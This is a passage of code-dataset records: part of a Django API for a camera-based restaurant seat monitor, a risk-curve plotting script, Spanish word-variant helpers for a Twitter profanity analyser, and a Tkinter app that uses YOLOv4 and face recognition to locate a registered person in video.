request.POST.get('cur_host')\n\n\ttry :\n\t\trq = requests.get(cur_host+'/test',timeout=5)\n\t\tif rq.text != 'ok' :\n\t\t\treturn HttpResponse('bad')\n\texcept Exception as e :\n\t\treturn HttpResponse('bad')\n\n\treturn HttpResponse ('good')\n\n\n\n\ndef check_camera_connection_row(request) :\n\tcur_host = request.POST.get('cur_host')\n\tpk = int(request.POST['pk'])\n\n\ttry :\n\t\trq = requests.get(cur_host+'/test',timeout=5)\n\t\tif rq.text != 'ok' :\n\t\t\tdata = {\n\t\t\t\t'pk' : pk,\n\t\t\t\t'con' : \"bad\",\n\t\t\t}\n\t\telse:\n\t\t\tdata = {\n\t\t\t\t'pk' : pk,\n\t\t\t\t'con' : 'good'\n\t\t\t}\n\t\treturn JsonResponse(data)\n\texcept Exception as e :\n\t\tdata = {\n\t\t\t'pk' :pk,\n\t\t\t'con' : \"bad\",\n\t\t}\n\t\treturn JsonResponse(data)\n\n\n#층 정보 관련\ndef add_floor_info(request) :\n\n\tstore_id = int(request.GET['store_id'])\n\tfloor_num = int(request.GET['floor_num'])\n\tfloor_name = request.GET['floor_name']\n\tdescription = request.GET['description']\n\tcamera_list = request.GET.getlist('camera_list[]')\n\n\n\tfloor=Floor(store_id=store_id, floor_num=floor_num, name=floor_name,description=description)\n\tfloor.save()\n\n\tfor c_list in camera_list :\n\t\tcamera = Camera.objects.filter(pk=int(c_list))\n\t\tcamera.update(floor_id=floor.pk)\n\n\tdata = {\n\t\t'pk' : floor.pk,\n\t\t'floor_num' : floor_num,\n\t\t'name' : floor.name,\n\t\t'description' : floor.description,\n\t}\n\treturn JsonResponse(data)\n\n\ndef edit_floor_id(request) :\n\n\tcamera_list = request.POST.getlist('camera_list[]')\n\tstore_id = int(request.POST.get('store_id'))\n\tfloor_id = int(request.POST.get('floor_id'))\n\n\tfor c_list in camera_list :\n\t\tcamera = Camera.objects.filter(pk=int(c_list))\n\t\tcamera.update(floor_id=floor_id)\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_cameras.data))\n\ndef delete_floor_info(request) :\n\n\tfloor_id = int(request.GET['floor_id'])\n\tstore_id = int(request.GET['store_id'])\n\n\tfloor = Floor.objects.filter(pk=floor_id)\n\tfloor.delete()\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_cameras.data))\n\ndef edit_floor_camera_list(request) :\n\n\tcamera_used_list = request.GET.getlist('camera_used[]')\n\tcamera_unused_list = request.GET.getlist('camera_unused[]')\n\tstore_id = int(request.GET['store_id'])\n\tfloor_id = int(request.GET['floor_id'])\n\tname = request.GET['floor_name']\n\tfloor_num = int(request.GET['floor_num'])\n\tdescription = request.GET['floor_description']\n\n\tfloor = Floor.objects.filter(pk=floor_id)\n\tfloor.update(name=name,floor_num=floor_num,description=description)\n\n\tfor lists in camera_used_list :\n\t\tcamera = Camera.objects.filter(pk=int(lists))\n\t\tcamera.update(floor_id=floor_id)\n\n\tfor lists in camera_unused_list :\n\t\tcamera = Camera.objects.filter(pk=int(lists))\n\t\tcamera.update(floor_id=None)\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\treturn HttpResponse(json.dumps(serialized_cameras.data)) \n\n\n\ndef get_file_from_cam(request):\n\t\"\"\"\n\tTodo : 카메라 pk, 가게 pk -> 카메라에 cur_pic 이름 저장\n\t\"\"\"\n\tcur_time = timezone.now().strftime(\"%Y%m%d%H%M%S\")\n\tcamera_pk = request.POST['camera_pk']\n\tcur_host = request.POST['host_addr']\n\ttarget_addr = '/'.join([cur_host, 'send_image'])\n\tcur_pic_name = cur_time+str(camera_pk)\n\tresponse = requests.get(target_addr, stream=True)\n\tif response.status_code == 200:\n\t\twith open('watcher/static/img/'+cur_pic_name+'.jpg', 'wb') as f:\n\t\t\tfor chunk in response:\n\t\t\t\tf.write(chunk)\n\t\n\treturn JsonResponse({\n\t\t'path' : '/static/img/'+ cur_pic_name + '.jpg',\n\t\t'pic_name' : cur_pic_name + '.jpg'\n\t})\n\n\ndef save_layout(request):\n\tlayout_pos_data = json.loads(request.POST['layout_pos_data'])\n\tbefore_pk_list = json.loads(request.POST['before_pk_list'])\n\tfloor_pk = int(request.POST['floor_pk'])\n\tfloor = Floor.objects.get(pk=floor_pk)\n\tcur_pk_list = []\n\tfor datum in layout_pos_data:\n\t\tsave_datum = {\n\t\t\t'floor':floor,\n\t\t\t'layout_f_x':datum['f_x'],\n\t\t\t'layout_f_y':datum['f_y'],\n\t\t\t'layout_s_x':datum['s_x'],\n\t\t\t'layout_s_y':datum['s_y']\n\t\t}\n\t\tTable.objects.filter(pk=int(datum['pk'])).update(**save_datum)\n\t\tcur_pk_list.append(datum['pk'])\n\n\t\n\tfor before_pk in before_pk_list:\n\n\t\tif before_pk not in cur_pk_list:\n\t\t\tsave_datum = {\n\t\t\t\t'floor':None,\n\t\t\t\t'layout_f_x':None,\n\t\t\t\t'layout_f_y':None,\n\t\t\t\t'layout_s_x':None,\n\t\t\t\t'layout_s_y':None\n\t\t\t}\n\t\t\tTable.objects.filter(pk=before_pk).update(**save_datum)\n\n\treturn HttpResponse('good')\n\n@csrf_exempt\ndef get_seat_inspection_result(request):\n\tinspection_result = json.loads(request.POST['input'])\n\tfor e in inspection_result:\n\t\tis_occupied = None\n\t\tif e['res'] == 'T':\n\t\t\tis_occupied = True\n\t\telse:\n\t\t\tis_occupied = False\n\t\tTable.objects.filter(pk=e['pk']).update(is_occupied=is_occupied)\n\n\treturn HttpResponse('good')\n\ndef localize_objects(request):\n\tpic_name = request.POST['pic_name']\n\tclient = vision.ImageAnnotatorClient()\n\tpath = 'watcher/static/img/'+pic_name\n\n\twith open(path, 'rb') as image_file:\n\t\tcontent = image_file.read()\n\timage = vision.types.Image(content=content)\n \n\tobjects = client.object_localization(image=image).localized_object_annotations\n\n\toutput_data = []\n\n\ttarget_data = ['Table', 'Tableware']\n\n\tfor object_ in objects:\n\t\tif object_.name in target_data:\n\t\t\tvertex_list = object_.bounding_poly.normalized_vertices\n\t\t\tdata = {\n\t\t\t\t'x' : vertex_list[0].x,\n\t\t\t\t'y' : vertex_list[0].y,\n\t\t\t\t'width' : abs(vertex_list[0].x - vertex_list[1].x),\n\t\t\t\t'height' : abs(vertex_list[0].y - vertex_list[3].y)\n\t\t\t}\n\t\t\toutput_data.append(data)\n\t\n\treturn HttpResponse(json.dumps(output_data))\n\ndef update_cam_addr(request):\n\tcamera_pk = int(request.POST['camera_pk'])\n\tcamera = Camera.objects.get(pk=camera_pk)\n\tcamera_mac_addr = camera.mac_addr\n\n\tif bool(camera_mac_addr) == False:\n\t\treturn HttpResponse('camera_mac_addr_failure')\n\n\tdeveloperkey = settings.REMOTE_IT_DEVELOPER_KEY\n\n\theaders = {\n\t\t'developerkey' : developerkey\n\t}\n\n\tbody = {\n\t\t'password' : settings.REMOTE_IT_PASSWORD,\n\t\t'username' : settings.REMOTE_IT_USERNAME\n\t}\n\n\turl = 'https://api.remot3.it/apv/v27/user/login'\n\n\tresponse = requests.post(url, data=json.dumps(body), headers=headers)\n\tresponse_body = response.json()\n\n\tif response_body['status'] == 'false':\n\t\treturn HttpResponse('connection_failure')\n\n\ttoken = response_body['token']\n\n\theaders = {\n \t\"developerkey\":developerkey,\n\t \"token\":token\n\t}\n\n\tbody = {\n \t\"deviceaddress\": camera_mac_addr,\n \t\"wait\":\"true\",\n\t}\n\n\turl = \"https://api.remot3.it/apv/v27/device/connect\"\n\n\tresponse = requests.post(url, data=json.dumps(body), headers=headers)\n\tresponse_body = response.json()\n\n\tif response_body['status'] == 'false':\n\t\treturn HttpResponse('addr_update_failure')\n\t\n\tcamera.cur_host = response_body['connection']['proxy']\n\tcamera.save()\n\n\treturn HttpResponse('update_success')\n\ndef add_category_info(request) :\n\tstore_id=request.GET.get('store_id')\n\tname=request.GET.get('category_name')\n\n\tcategory=Category(store_id=store_id,name=name)\n\tcategory.save();\n\n\treturn HttpResponse(\"good\")\n\ndef add_store_menu_info(request) :\n\tprice=request.GET.get('price')\n\tname=request.GET.get('name')\n\tcategory_id=request.GET.get('category_id')\n\tcategory_name=request.GET.get('category_name')\n\tstore_id=request.GET.get('store_id')\n\n\tmenu=Menu(name=name,store_id=store_id,price=price,category_id=category_id,category_name=category_name)\n\tmenu.save()\n\n\treturn HttpResponse(\"good\")\n\ndef edit_store_menu_info(request) :\n\tpk=request.GET.get('pk')\n\tprice=request.GET.get('price')\n\tname=request.GET.get('name')\n\tcategory_id=request.GET.get('category_id')\n\tcategory=Category.objects.get(pk=category_id)\n\n\tprint(name)\n\tprint(category_id)\n\tmenu=Menu.objects.get(pk=pk)\n\tmenu.price=price\n\tmenu.name=name\n\tmenu.category_id=category_id\n\tmenu.category_name=category.name\n\tmenu.save()\n\treturn HttpResponse(\"good\")\n\ndef delete_store_menu_info(request) :\n\tpk=int(request.GET.get('pk'))\n\tmenu=Menu.objects.get(pk=pk)\n\tmenu.delete()\n\n\treturn HttpResponse(\"good\")\n\n","repo_name":"YoonRyeol/SEAT_WATCHER","sub_path":"watcher/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":15244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32052148426","text":"import Atrium_class as AC\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport scipy.stats as sp\nresults1 = pickle.load(open(\"risk_curve_0.02-0.1.p\",\"rb\"))\nresults2 = pickle.load(open(\"risk_curve_0.11-0.15.p\",\"rb\"))\nresults3 = pickle.load(open(\"risk_curve_0.16-0.20.p\",\"rb\"))\nresults4 = pickle.load(open(\"risk_curve_0.21-0.25.p\",\"rb\"))\nresults5 = pickle.load(open(\"risk_curve_0.26-0.30.p\",\"rb\"))\nresults6 = pickle.load(open(\"risk_curve_0.16.p\",\"rb\"))\nresults7 = pickle.load(open(\"risk_curve_0.17.p\",\"rb\"))\nresults8 = pickle.load(open(\"risk_curve_0.18.p\",\"rb\"))\nresults9 = pickle.load(open( \"risk_curve_0.16-0.19.p\", \"rb\" ) )\nK_results = pickle.load(open(\"Kishan_data_risk_curve.p\",\"rb\"))\nL = 200\ndelta = 0.05\ntau = 50\nnus = np.array([0.02, 0.04, 0.06, 0.08, 0.1, 0.11, 0.12, 0.13, 0.14, 0.15, 0.16, 0.17, 0.18, 0.19, 0.2, 0.21, 0.22, 0.23, 0.24, 0.25, 0.26, 0.27, 0.28, 0.29, 0.3,0.5,1])\nT_risk = (1 - ((1-(1-nus)**tau)**(delta*L*L)))\nresults_nu = np.concatenate((results1[0],results2[0],results9[0],results3[0][-1:],results4[0],results5[0]))\nresults_risk = np.concatenate((results1[1],results2[1],results9[1],results3[1][-1:],results4[1],results5[1]))\nresults_repeats = np.concatenate((results1[2],results2[2],results9[2],results3[2][-1:],results4[2],results5[2]))\nplt.scatter(results_nu,results_risk,c='r',marker = 'x', label = \"My Data\")\nplt.scatter(K_results[0],K_results[1],c='b',marker = 'x', label = \"Kishan's Data\" )\nplt.plot(nus,T_risk, 'g', label = 'Theoretical Data')\nplt.show()\nprint(results_repeats)\ndata = [results_nu,results_risk,results_repeats]\npickle.dump(data,open( \"Risk_Curve_keep.p\", \"wb\" ) )\n","repo_name":"GwynethMatthews/AF-Work","sub_path":"OldCode/Code2/Trial1.py","file_name":"Trial1.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"27883850946","text":"def mas_s(pal):\n\tif pal[len(pal) - 1] in ['a','e','o']:\n\t\treturn True\n\treturn False\n\ndef chxx(pal):\n\t\n\tsplited = pal.split(\"ch\")\n\t\n\taux = []\n\taux2 = [splited[0]]\n\t\n\tfor frag in splited[1:]:\n\t\t\n\t\taux = []\n\t\tfor s in aux2:\n\t\t\taux.append(s + 'x' + frag)\n\t\t\taux.append(s + 'ch' + frag)\n\t\t\n\t\taux2 = []\n\t\tfor s in aux:\n\t\t\taux2.append(s)\n\t\n\treturn aux\n\ndef reducir_silabas(pal):\n\tsplited = pal.split(\"a\")\n\tnew_pal = splited[0]\n\tfor frag in splited[1:]:\n\t\tif frag == \"\":\n\t\t\tnew_pal += 'a' + frag\n\t\n\tfor silaba in ['e','i','o','u']:\n\t\tsplited = new_pal.split(silaba)\n\t\tnew_pal = splited[0]\n\t\tfor frag in splited[1:]:\n\t\t\tif frag != \"\":\n\t\t\t\tnew_pal += silaba + frag\n\t\n\treturn new_pal","repo_name":"sapphi20/Analizador-de-garabatos-Twitter","sub_path":"funciones_auxiliares/generadores_de_variaciones.py","file_name":"generadores_de_variaciones.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29369061732","text":"import os\nfrom turtle import pendown\nimport cv2\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom tkinter.filedialog import askopenfilename\n\nfrom importlib.resources import path\nimport numpy as np\nfrom glob import glob\nimport shutil\n\nfrom PIL import ImageTk, Image\nfrom PIL import ImageGrab\nfrom PIL import Image\n\nimport time\nfrom time import gmtime, strftime\nfrom datetime import datetime\nimport tensorflow as tf\n\n# comment out below line to enable tensorflow outputs\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n\nphysical_devices = tf.config.experimental.list_physical_devices('GPU')\n\nif len(physical_devices) > 0:\n tf.config.experimental.set_memory_growth(physical_devices[0], True)\n\nfrom absl import app, flags, logging\nfrom absl.flags import FLAGS\nimport core.utils as utils\nfrom core.yolov4 import filter_boxes\nfrom core.functions import *\nfrom tensorflow.python.saved_model import tag_constants\nfrom tensorflow.compat.v1 import ConfigProto\nfrom tensorflow.compat.v1 import InteractiveSession\n\n\nimport face_recognition\nimport csv\n\n\nflags.DEFINE_string('framework', 'tf', '(tf, tflite, trt')\nflags.DEFINE_string('weights', './checkpoints/yolov4-416',\n 'path to weights file')\nflags.DEFINE_integer('size', 416, 'resize images to')\nflags.DEFINE_boolean('tiny', False, 'yolo or yolo-tiny')\nflags.DEFINE_string('model', 'yolov4', 'yolov3 or yolov4')\nflags.DEFINE_string('video', './data/video/video.mp4', 'path to input video or set to 0 for webcam')\nflags.DEFINE_string('output', None, 'path to output video')\nflags.DEFINE_string('output_format', 'XVID', 'codec used in VideoWriter when saving video to file')\nflags.DEFINE_float('iou', 0.70, 'iou threshold')\nflags.DEFINE_float('score', 0.70, 'score threshold')\nflags.DEFINE_boolean('count', False, 'count objects within video')\nflags.DEFINE_boolean('dont_show', False, 'dont show video output')\nflags.DEFINE_boolean('info', False, 'print info on detections')\nflags.DEFINE_boolean('crop', False, 'crop detections from images')\nflags.DEFINE_boolean('plate', False, 'perform license plate recognition')\nflags.DEFINE_boolean('person', False, 'perform person detection')\nflags.DEFINE_boolean('frames', False, 'get the frames with persons')\nflags.DEFINE_boolean('identify', False, 'Identify the target person')\n\n\npath = os.getcwd()\nd = 'People'\nfiles = os.path.join(path, d)\nisdir = os.path.isdir(files)\nif not isdir:\n os.mkdir(files)\n\n\n\nclass Application(tk.Frame):\n\n def __init__(self, master=None):\n super().__init__(master)\n\n self.pack()\n self.create_front()\n\n\n def create_front(self):\n\n def gui_destroy():\n root.destroy()\n\n self.uname_label = tk.Label(root, text=\"In-Video Person Detection System\", font=('calibre',14,'bold'), bg='medium aquamarine')\n self.uname_label.place(x=110, y=40)\n\n self.go_upload = tk.Button(\n root, text=\"Upload Image of Person\", font=('calibre',12,'bold'), bg='skyblue2', command=self.create_upload)\n self.go_upload.place(x=160, y=100)\n\n\n self.go_verify = tk.Button(\n root, text=\"Detect Person in Video\", font=('calibre',12,'bold'), bg='gold2', command=self.create_verify)\n self.go_verify.place(x=170, y=160)\n\n\n quit = tk.Button(root, text=\"Exit\", font=('calibre',12,'bold'), bg = \"tomato\", width=5, command=root.destroy)\n quit.place(x=220, y=220)\n\n\n def create_upload(self):\n\n def image_save(window, path0, path1):\n xx = self.name_entry.get()\n print(\"\\n User name is : \" + xx + \"\\n\")\n\n sign_list = [path1]\n\n if path0=='':\n messagebox.showerror(\"Warning!\", \"Username can not be empty!\")\n\n else:\n ff = 0\n for ee in sign_list:\n file_exists = os.path.exists(ee)\n\n if not file_exists:\n messagebox.showerror(\"Warning!\",\n \"You must upload all 5 signatures!\")\n break\n else:\n ff += 1\n\n if ff==1:\n cc = 0\n for i in sign_list:\n file = i\n cc += 1\n s_file = 'People/' + xx + '.jpg'\n print(\"\\n\", file, \"\\n\")\n image = cv2.imread(file)\n\n cv2.imwrite(s_file, image)\n\n # cv2.imshow(str(cc), image)\n # cv2.waitKey(0)\n\n # cv2.destroyAllWindows()\n\n dataset = tk.Label(root_u, text=\"Display Uploaded Image\", font=('calibre',12,'bold'))\n dataset.place(x=130, y=460)\n \n s_file1 = './People/' + path0 + '.jpg'\n img1 = Image.open(s_file1)\n img1 = img1.resize((80, 80), Image.ANTIALIAS)\n img1 = ImageTk.PhotoImage(img1)\n panel1 = tk.Label(root_u, image=img1)\n panel1.place(x=20, y=500)\n\n messagebox.showinfo(\"Success!\",\n \"Image Uploaded!!\")\n \n dataset.destroy()\n\n def check_data():\n xx = self.name_entry.get()\n print(\"\\n User name is : \" + xx + \"\\n\")\n\n file = 'People/' + xx + '.jpg'\n # print(\"\\n\", file, \"\\n\")\n file_exists = os.path.exists(file)\n\n if not file_exists:\n messagebox.showwarning(\"Checked!\",\n \"User doesn't exist! Please Continue Uploading for Registration!\")\n else:\n messagebox.showinfo(\"Checked!\",\n \"User exists! You can exit to Verify or Continue Upload and Update!\")\n\n def browsefunc(ent):\n filename = askopenfilename(filetypes=([\n (\"image\", \".jpeg\"),\n (\"image\", \".png\"),\n (\"image\", \".jpg\"),\n ]))\n ent.delete(0, tk.END)\n ent.insert(tk.END, filename) # add this\n\n def gui_destroy():\n root_u.destroy()\n\n\n root_u = tk.Toplevel(self)\n root_u.title('Image Upload')\n root_u.geometry('500x350+650+50')\n\n self.uname_label = tk.Label(root_u, text=\"Upload Person Image\", font=('calibre',14,'bold'), bg='skyblue2')\n self.uname_label.place(x=135, y=25)\n\n # creating a label for name using widget Label\n self.name_label = tk.Label(root_u, text = 'Person Name:', font=('calibre',10,'bold'))\n self.name_label.place(x=60, y=90)\n\n # creating a entry for input name using widget Entry\n self.name_entry = tk.Entry(root_u, bd=3, font=('calibre',10,'normal'))\n self.name_entry.place(x=170, y=90)\n\n # creating a button using the widget button that will call the submit function\n sub_btn = tk.Button(root_u, text = 'Check Data', font=('calibre',10,'normal'), command = check_data)\n sub_btn.place(x=350, y=88)\n\n\n # Image 1\n self.img_message = tk.Label(root_u, text=\"Image:\", font=('calibre',10,'bold'))\n self.img_message.place(x=60, y=140)\n # Image Submit\n self.image_path_entry1 = tk.Entry(root_u, bd=3, font=('calibre',10,'normal'))\n self.image_path_entry1.place(x=170, y=140)\n # Browse Button\n self.img_browse_button = tk.Button(\n root_u, text=\"Browse\", font=('calibre',10,'normal'), command=lambda: browsefunc(ent=self.image_path_entry1))\n self.img_browse_button.place(x=350, y=138)\n\n\n # registered Button\n self.register_button = tk.Button(\n root_u, text=\"Register\", font=('calibre',12,'bold'), bg='gold2', command=lambda: image_save(window=root_u,\n path0=self.name_entry.get(),\n path1=self.image_path_entry1.get(),), width=8)\n self.register_button.place(x=198, y=200)\n\n\n # Exit Button\n go_exit = tk.Button(\n root_u, text=\"Exit\", font=('calibre',12,'bold'), bg='tomato', command=lambda: gui_destroy(), width=5)\n go_exit.place(x=214, y=250)\n\n root_u.mainloop()\n\n\n def create_verify(self):\n # Mach Threshold\n THRESHOLD = 50\n\n root_v=tk.Toplevel(self)\n root_v.title(\"Person Detection\")\n\n # setting the windows size\n root_v.geometry(\"500x500+650+50\")\n\n\n # defining a function that will get the name and password and print them on the screen\n def view_data():\n name = self.name_entry.get()\n \n print(\"\\n The name is : \" + name + \"\\n\")\n\n for i in range(1):\n file = 'People/' + name + '.jpg'\n print(\"\\n\", file, \"\\n\")\n image = cv2.imread(file)\n\n image = cv2.resize(image, (300, 300))\n\n cv2.imshow(str(i+1), image)\n cv2.waitKey(0)\n\n cv2.destroyAllWindows()\n\n\n def check_data():\n name = self.name_entry.get()\n print(\"\\n Person name is : \" + name + \"\\n\")\n\n file = 'People/' + name + '.jpg'\n # print(\"\\n\", file, \"\\n\")\n file_exists = os.path.exists(file)\n\n if not file_exists:\n messagebox.showerror(\"Warning!\",\n \"User doesn't exist! Please Enter Correct Username!\")\n else:\n messagebox.showinfo(\"Checked!\",\n \"User exists! Please Continue Upload to Verify!\")\n\n\n def browsefunc(ent):\n filename = askopenfilename(filetypes=([\n (\"video\", \".mp4\"),\n (\"video\", \".avi\"),\n (\"video\", \".mkv\"),\n ]))\n ent.delete(0, tk.END)\n ent.insert(tk.END, filename) # add this\n\n\n def checkSimilarity(window, path0, path1):\n\n pending = tk.Label(root_v, text=\"Video Processing ...\", font=('calibre',12,'bold'))\n pending.place(x=140, y=300)\n\n if path0=='' or path1=='':\n messagebox.showerror(\"Warning!\", \"Username or Uploaded Image can not be empty while varifying!\")\n\n else:\n ch_file = './People/' + path0 + '.jpg'\n file_exists = os.path.exists(ch_file)\n\n if not file_exists:\n messagebox.showerror(\"Warning!\", \"User does not exist in Database! Please enter Username correctly for verifying! Or, Exit and Go to User Registration\")\n\n else:\n\n def main(_argv):\n\n yy = strftime(\"%d-%b-%Y_%H-%M\", gmtime())\n # print(yy)\n\n # Source Images\n images = []\n classNames = []\n\n\n path = 'People'\n name = path0\n cl = name + \".jpg\"\n curImg = cv2.imread(f'{path}/{cl}')\n images.append(curImg)\n classNames.append(os.path.splitext(cl)[0])\n\n # Face Encodings\n def findEncodings(images):\n encodeList = []\n for img in images:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n encode = face_recognition.face_encodings(img)[0]\n encodeList.append(encode)\n return encodeList\n\n encodeListKnown = findEncodings(images)\n # print('Encoding Complete')\n # print(\"Number of Records: \",len(encodeListKnown))\n\n\n ###############################################################\n\n FLAGS.weights = './checkpoints/yolov4-416'\n FLAGS.model = 'yolov4'\n FLAGS.size = 416\n\n\n # For only video\n FLAGS.video = path1\n FLAGS.output = \"./detections/video_output.mp4\"\n\n # FLAGS.person = True\n FLAGS.crop = True\n FLAGS.frames = True\n FLAGS.identify = True\n\n person_count = 0\n\n config = ConfigProto()\n config.gpu_options.allow_growth = True\n session = InteractiveSession(config=config)\n STRIDES, ANCHORS, NUM_CLASS, XYSCALE = utils.load_config(FLAGS)\n input_size = FLAGS.size\n video_path = FLAGS.video\n # get video name by using split method\n video_name = video_path.split('/')[-1]\n video_name = video_name.split('.')[0]\n\n\n if FLAGS.framework == 'tflite':\n interpreter = tf.lite.Interpreter(model_path=FLAGS.weights)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\n print(input_details)\n print(output_details)\n else:\n saved_model_loaded = tf.saved_model.load(FLAGS.weights, tags=[tag_constants.SERVING])\n infer = saved_model_loaded.signatures['serving_default']\n\n # begin video capture\n try:\n vid = cv2.VideoCapture(int(video_path))\n except:\n vid = cv2.VideoCapture(video_path)\n\n out = None\n\n\n if FLAGS.output:\n # by default VideoCapture returns float instead of int\n width = int(vid.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(vid.get(cv2.CAP_PROP_FRAME_HEIGHT))\n fps = int(vid.get(cv2.CAP_PROP_FPS))\n vid_fps = fps\n # print(vid_fps)\n codec = cv2.VideoWriter_fourcc(*FLAGS.output_format)\n out = cv2.VideoWriter(FLAGS.output, codec, fps, (width, height))\n\n ##############################################################################\n # Main Loop Starts\n frame_num = -1\n\n while True:\n return_value, frame = vid.read()\n if return_value:\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame_num += 1\n image = Image.fromarray(frame)\n\n else:\n print('\\n--- Video has ended or failed. Check the output or try a different video format! ---')\n break\n \n frame_size = frame.shape[:2]\n image_data = cv2.resize(frame, (input_size, input_size))\n image_data = image_data / 255.\n image_data = image_data[np.newaxis, ...].astype(np.float32)\n start_time = time.time()\n\n if FLAGS.framework == 'tflite':\n interpreter.set_tensor(input_details[0]['index'], image_data)\n interpreter.invoke()\n pred = [interpreter.get_tensor(output_details[i]['index']) for i in range(len(output_details))]\n if FLAGS.model == 'yolov3' and FLAGS.tiny == True:\n boxes, pred_conf = filter_boxes(pred[1], pred[0], score_threshold=0.25,\n input_shape=tf.constant([input_size, input_size]))\n else:\n boxes, pred_conf = filter_boxes(pred[0], pred[1], score_threshold=0.25,\n input_shape=tf.constant([input_size, input_size]))\n else:\n batch_data = tf.constant(image_data)\n pred_bbox = infer(batch_data)\n for key, value in pred_bbox.items():\n boxes = value[:, :, 0:4]\n pred_conf = value[:, :, 4:]\n\n boxes, scores, classes, valid_detections = tf.image.combined_non_max_suppression(\n boxes=tf.reshape(boxes, (tf.shape(boxes)[0], -1, 1, 4)),\n scores=tf.reshape(\n pred_conf, (tf.shape(pred_conf)[0], -1, tf.shape(pred_conf)[-1])),\n max_output_size_per_class=50,\n max_total_size=50,\n iou_threshold=FLAGS.iou,\n score_threshold=FLAGS.score\n )\n \n # format bounding boxes from normalized ymin, xmin, ymax, xmax ---> xmin, ymin, xmax, ymax\n original_h, original_w, _ = frame.shape\n bboxes = utils.format_boxes(boxes.numpy()[0], original_h, original_w)\n\n pred_bbox = [bboxes, scores.numpy()[0], classes.numpy()[0], valid_detections.numpy()[0]]\n\n # read in all class names from config\n class_names = utils.read_class_names(cfg.YOLO.CLASSES)\n\n # by default allow all classes in .names file\n allowed_classes = list(class_names.values())\n \n # custom allowed classes (uncomment line below to allow detections for only people)\n allowed_classes = ['person']\n\n\n # if crop flag is enabled, crop each detection and save it as new image\n if FLAGS.crop:\n crop_rate = int(vid_fps/2) # capture images every so many frames (ex. crop photos every 150 frames)\n crop_path = os.path.join(os.getcwd(), 'detections', 'crop_' + yy)\n try:\n os.mkdir(crop_path)\n except FileExistsError:\n pass\n if frame_num % crop_rate == 0:\n final_path = os.path.join(crop_path, 'frame_' + str(frame_num))\n try:\n os.mkdir(final_path)\n except FileExistsError:\n pass \n crop_objects(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB), pred_bbox, final_path, allowed_classes)\n else:\n pass\n\n\n if FLAGS.frames:\n for file in glob(\"./detections/crop_\" + yy + \"/*/\", recursive = True):\n # Get the file names\n ff = os.path.normpath(file)\n xx = os.path.basename(ff)\n\n # Get all the images in the folders\n for i in os.listdir(file):\n # print(i)\n ii = './detections/crop_' + yy + '/' + xx + '/' + i\n image_i = cv2.imread(ii)\n cv2.imwrite('./detections/crop_' + yy + '/' + xx + '_' + i, image_i)\n shutil.rmtree(file)\n\n\n if FLAGS.identify:\n file = \"./detections/crop_\" + yy + \"/\"\n\n for i in os.listdir(file):\n img_name = i.split('.')[0]\n # print(img_name)\n try:\n frame_i = cv2.imread(\"./detections/crop_\" + yy + \"/\" + i)\n frame_i = cv2.cvtColor(frame_i, cv2.COLOR_BGR2RGB)\n facesCurFrame = face_recognition.face_locations(frame_i)\n encodesCurFrame = face_recognition.face_encodings(frame_i, facesCurFrame)\n\n person_path = os.path.join(os.getcwd(), 'detections', 'person_' + yy)\n isdir = os.path.isdir(person_path)\n if not isdir:\n os.mkdir(person_path)\n\n for encodeFace,faceLoc in zip(encodesCurFrame, facesCurFrame):\n matches = face_recognition.compare_faces(encodeListKnown, encodeFace)\n faceDis = face_recognition.face_distance(encodeListKnown, encodeFace)\n # print(faceDis)\n matchIndex = np.argmin(faceDis)\n\n if matches[matchIndex]:\n name = classNames[matchIndex].upper()\n # print(name, 'is present in the video.\\n')\n\n y1,x2,y2,x1 = faceLoc\n # y1, x2, y2, x1 = y1*4,x2*4,y2*4,x1*4\n cv2.rectangle(frame_i,(x1,y1),(x2,y2),(0,255,0),1)\n cv2.rectangle(frame_i,(x1-30,y2+20),(x2+30,y2),(0,255,0),cv2.FILLED)\n cv2.putText(frame_i, name, (x1-28,y2+18), cv2.FONT_HERSHEY_COMPLEX,0.7,(255,255,255),2)\n \n frame_i = cv2.cvtColor(frame_i, cv2.COLOR_BGR2RGB)\n cv2.imwrite(person_path + '/' + img_name + '_' + name + '.jpg', frame_i)\n\n person_count += 1\n\n except:\n pass\n\n if FLAGS.count:\n # count objects found\n counted_classes = count_objects(pred_bbox, by_class = True, allowed_classes=allowed_classes)\n # loop through dict and print\n for key, value in counted_classes.items():\n pass\n # print(\"Number of {}s: {}\".format(key, value))\n image = utils.draw_bbox(frame, pred_bbox, FLAGS.info, counted_classes, allowed_classes=allowed_classes, read_plate=FLAGS.plate)\n else:\n image = utils.draw_bbox(frame, pred_bbox, FLAGS.info, allowed_classes=allowed_classes, read_plate=FLAGS.plate)\n\n\n if FLAGS.person:\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n facesCurFrame = face_recognition.face_locations(frame)\n encodesCurFrame = face_recognition.face_encodings(frame,facesCurFrame)\n\n person_path = os.path.join(os.getcwd(), 'detections', 'person_' + yy)\n isdir = os.path.isdir(person_path)\n if not isdir:\n os.mkdir(person_path)\n\n for encodeFace,faceLoc in zip(encodesCurFrame,facesCurFrame):\n matches = face_recognition.compare_faces(encodeListKnown,encodeFace)\n faceDis = face_recognition.face_distance(encodeListKnown,encodeFace)\n # print(faceDis)\n matchIndex = np.argmin(faceDis)\n\n if matches[matchIndex]:\n name = classNames[matchIndex].upper()\n print(name,'is present in the video.\\n')\n\n final_path = 